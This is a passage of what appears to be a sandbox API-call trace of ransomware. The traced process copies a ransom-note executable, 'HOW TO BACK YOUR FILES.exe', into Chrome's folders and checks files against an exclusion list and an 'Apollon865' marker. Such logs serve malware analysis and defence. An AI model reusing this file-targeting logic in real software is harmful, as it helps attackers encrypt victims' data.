	[0055.663] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0055.663] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific"
	[0055.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0055.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0055.663] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific") returned 93
	[0055.663] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific"
	[0055.664] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.664] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.668] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.668] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x39411df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39411df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.668] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.668] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.668] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x39411df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39411df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.668] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.668] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.668] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.668] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.668] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39411df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39411df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.668] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.668] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1
	[0055.668] lstrcmpiW (lpString1="win_x64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.668] lstrcmpiW (lpString1="win_x64", lpString2="Apollon865.txt.exe") returned 1
	[0055.668] lstrcmpiW (lpString1="win_x64", lpString2=".") returned 1
	[0055.668] lstrcmpiW (lpString1="win_x64", lpString2="..") returned 1
	[0055.668] lstrcmpiW (lpString1="win_x64", lpString2="windows") returned -1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="bootmgr") returned 1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="temp") returned 1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="pagefile.sys") returned 1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="boot") returned 1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="ids.txt") returned 1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="ntuser.dat") returned 1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="perflogs") returned 1
	[0055.669] lstrcmpiW (lpString1="win_x64", lpString2="MSBuild") returned 1
	[0055.669] lstrlenW (lpString="win_x64") returned 7
	[0055.669] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*") returned 95
	[0055.669] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="win_x64" | out: lpString1="win_x64") returned="win_x64"
	[0055.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0055.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xcc) returned 0x5a5368
	[0055.669] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0055.669] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 0
	[0055.669] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.669] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0055.669] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64"
	[0055.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0055.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0055.669] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64") returned 101
	[0055.669] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64"
	[0055.669] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.712] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.712] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x39484210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39484210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.712] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.712] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.712] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.713] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x39484210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39484210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.713] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.713] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.713] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.713] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.713] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39484210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39484210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.713] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.713] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff57cc70, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x440df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2=".") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="..") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="windows") returned -1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="bootmgr") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="temp") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="pagefile.sys") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="boot") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="ids.txt") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="ntuser.dat") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="perflogs") returned 1
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2="MSBuild") returned 1
	[0055.713] lstrlenW (lpString="widevinecdm.dll") returned 15
	[0055.713] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*") returned 103
	[0055.713] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="widevinecdm.dll" | out: lpString1="widevinecdm.dll") returned="widevinecdm.dll"
	[0055.713] lstrlenW (lpString="widevinecdm.dll") returned 15
	[0055.713] lstrlenW (lpString="Apollon865") returned 10
	[0055.713] lstrcmpiW (lpString1="inecdm.dll", lpString2="Apollon865") returned 1
	[0055.713] lstrlenW (lpString=".dll") returned 4
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2=".dll") returned 1
	[0055.713] lstrlenW (lpString=".lnk") returned 4
	[0055.713] lstrcmpiW (lpString1="widevinecdm.dll", lpString2=".lnk") returned 1
	[0055.714] lstrlenW (lpString=".ini") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdm.dll", lpString2=".ini") returned 1
	[0055.714] lstrlenW (lpString=".sys") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdm.dll", lpString2=".sys") returned 1
	[0055.714] lstrlenW (lpString="widevinecdm.dll") returned 15
	[0055.714] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="widevinecdm.dll.sig" | out: lpString1="widevinecdm.dll.sig") returned="widevinecdm.dll.sig"
	[0055.714] lstrlenW (lpString="widevinecdm.dll.sig") returned 19
	[0055.714] lstrlenW (lpString="Apollon865") returned 10
	[0055.714] lstrcmpiW (lpString1="dm.dll.sig", lpString2="Apollon865") returned 1
	[0055.714] lstrlenW (lpString=".dll") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdm.dll.sig", lpString2=".dll") returned 1
	[0055.714] lstrlenW (lpString=".lnk") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdm.dll.sig", lpString2=".lnk") returned 1
	[0055.714] lstrlenW (lpString=".ini") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdm.dll.sig", lpString2=".ini") returned 1
	[0055.714] lstrlenW (lpString=".sys") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdm.dll.sig", lpString2=".sys") returned 1
	[0055.714] lstrlenW (lpString="widevinecdm.dll.sig") returned 19
	[0055.714] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="widevinecdmadapter.dll" | out: lpString1="widevinecdmadapter.dll") returned="widevinecdmadapter.dll"
	[0055.714] lstrlenW (lpString="widevinecdmadapter.dll") returned 22
	[0055.714] lstrlenW (lpString="Apollon865") returned 10
	[0055.714] lstrcmpiW (lpString1="dapter.dll", lpString2="Apollon865") returned 1
	[0055.714] lstrlenW (lpString=".dll") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdmadapter.dll", lpString2=".dll") returned 1
	[0055.714] lstrlenW (lpString=".lnk") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdmadapter.dll", lpString2=".lnk") returned 1
	[0055.714] lstrlenW (lpString=".ini") returned 4
	[0055.714] lstrcmpiW (lpString1="widevinecdmadapter.dll", lpString2=".ini") returned 1
	[0055.714] lstrlenW (lpString=".sys") returned 4
	[0055.715] lstrcmpiW (lpString1="widevinecdmadapter.dll", lpString2=".sys") returned 1
	[0055.715] lstrlenW (lpString="widevinecdmadapter.dll") returned 22
	[0055.715] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="widevinecdmadapter.dll.sig" | out: lpString1="widevinecdmadapter.dll.sig") returned="widevinecdmadapter.dll.sig"
	[0055.715] lstrlenW (lpString="widevinecdmadapter.dll.sig") returned 26
	[0055.715] lstrlenW (lpString="Apollon865") returned 10
	[0055.715] lstrcmpiW (lpString1="er.dll.sig", lpString2="Apollon865") returned 1
	[0055.715] lstrlenW (lpString=".dll") returned 4
	[0055.715] lstrcmpiW (lpString1="widevinecdmadapter.dll.sig", lpString2=".dll") returned 1
	[0055.715] lstrlenW (lpString=".lnk") returned 4
	[0055.715] lstrcmpiW (lpString1="widevinecdmadapter.dll.sig", lpString2=".lnk") returned 1
	[0055.715] lstrlenW (lpString=".ini") returned 4
	[0055.715] lstrcmpiW (lpString1="widevinecdmadapter.dll.sig", lpString2=".ini") returned 1
	[0055.715] lstrlenW (lpString=".sys") returned 4
	[0055.715] lstrcmpiW (lpString1="widevinecdmadapter.dll.sig", lpString2=".sys") returned 1
	[0055.715] lstrlenW (lpString="widevinecdmadapter.dll.sig") returned 26
	[0055.715] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements"
	[0055.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0055.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0055.715] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned 77
	[0055.715] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements"
	[0055.715] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.715] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.756] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.756] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x394d04d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x394d04d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.756] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.756] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.756] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.756] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x394d04d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x394d04d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.756] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.756] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.756] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.756] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.756] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x394d04d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x394d04d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.756] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.756] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a589f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0055.756] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0055.756] lstrlenW (lpString="logo.png") returned 8
	[0055.756] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*") returned 79
	[0055.757] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0055.757] lstrlenW (lpString="logo.png") returned 8
	[0055.757] lstrlenW (lpString="Apollon865") returned 10
	[0055.757] lstrlenW (lpString=".dll") returned 4
	[0055.757] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0055.757] lstrlenW (lpString=".lnk") returned 4
	[0055.757] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0055.757] lstrlenW (lpString=".ini") returned 4
	[0055.757] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0055.757] lstrlenW (lpString=".sys") returned 4
	[0055.757] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0055.757] lstrlenW (lpString="logo.png") returned 8
	[0055.757] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="logocanary.png" | out: lpString1="logocanary.png") returned="logocanary.png"
	[0055.757] lstrlenW (lpString="logocanary.png") returned 14
	[0055.757] lstrlenW (lpString="Apollon865") returned 10
	[0055.757] lstrcmpiW (lpString1="canary.png", lpString2="Apollon865") returned 1
	[0055.757] lstrlenW (lpString=".dll") returned 4
	[0055.757] lstrcmpiW (lpString1="logocanary.png", lpString2=".dll") returned 1
	[0055.757] lstrlenW (lpString=".lnk") returned 4
	[0055.757] lstrcmpiW (lpString1="logocanary.png", lpString2=".lnk") returned 1
	[0055.757] lstrlenW (lpString=".ini") returned 4
	[0055.757] lstrcmpiW (lpString1="logocanary.png", lpString2=".ini") returned 1
	[0055.757] lstrlenW (lpString=".sys") returned 4
	[0055.757] lstrcmpiW (lpString1="logocanary.png", lpString2=".sys") returned 1
	[0055.757] lstrlenW (lpString="logocanary.png") returned 14
	[0055.757] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="smalllogo.png" | out: lpString1="smalllogo.png") returned="smalllogo.png"
	[0055.757] lstrlenW (lpString="smalllogo.png") returned 13
	[0055.757] lstrlenW (lpString="Apollon865") returned 10
	[0055.758] lstrcmpiW (lpString1="lllogo.png", lpString2="Apollon865") returned 1
	[0055.758] lstrlenW (lpString=".dll") returned 4
	[0055.758] lstrcmpiW (lpString1="smalllogo.png", lpString2=".dll") returned 1
	[0055.758] lstrlenW (lpString=".lnk") returned 4
	[0055.758] lstrcmpiW (lpString1="smalllogo.png", lpString2=".lnk") returned 1
	[0055.758] lstrlenW (lpString=".ini") returned 4
	[0055.758] lstrcmpiW (lpString1="smalllogo.png", lpString2=".ini") returned 1
	[0055.758] lstrlenW (lpString=".sys") returned 4
	[0055.758] lstrcmpiW (lpString1="smalllogo.png", lpString2=".sys") returned 1
	[0055.758] lstrlenW (lpString="smalllogo.png") returned 13
	[0055.758] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="smalllogocanary.png" | out: lpString1="smalllogocanary.png") returned="smalllogocanary.png"
	[0055.758] lstrlenW (lpString="smalllogocanary.png") returned 19
	[0055.758] lstrlenW (lpString="Apollon865") returned 10
	[0055.758] lstrcmpiW (lpString1="canary.png", lpString2="Apollon865") returned 1
	[0055.758] lstrlenW (lpString=".dll") returned 4
	[0055.758] lstrcmpiW (lpString1="smalllogocanary.png", lpString2=".dll") returned 1
	[0055.758] lstrlenW (lpString=".lnk") returned 4
	[0055.758] lstrcmpiW (lpString1="smalllogocanary.png", lpString2=".lnk") returned 1
	[0055.758] lstrlenW (lpString=".ini") returned 4
	[0055.758] lstrcmpiW (lpString1="smalllogocanary.png", lpString2=".ini") returned 1
	[0055.758] lstrlenW (lpString=".sys") returned 4
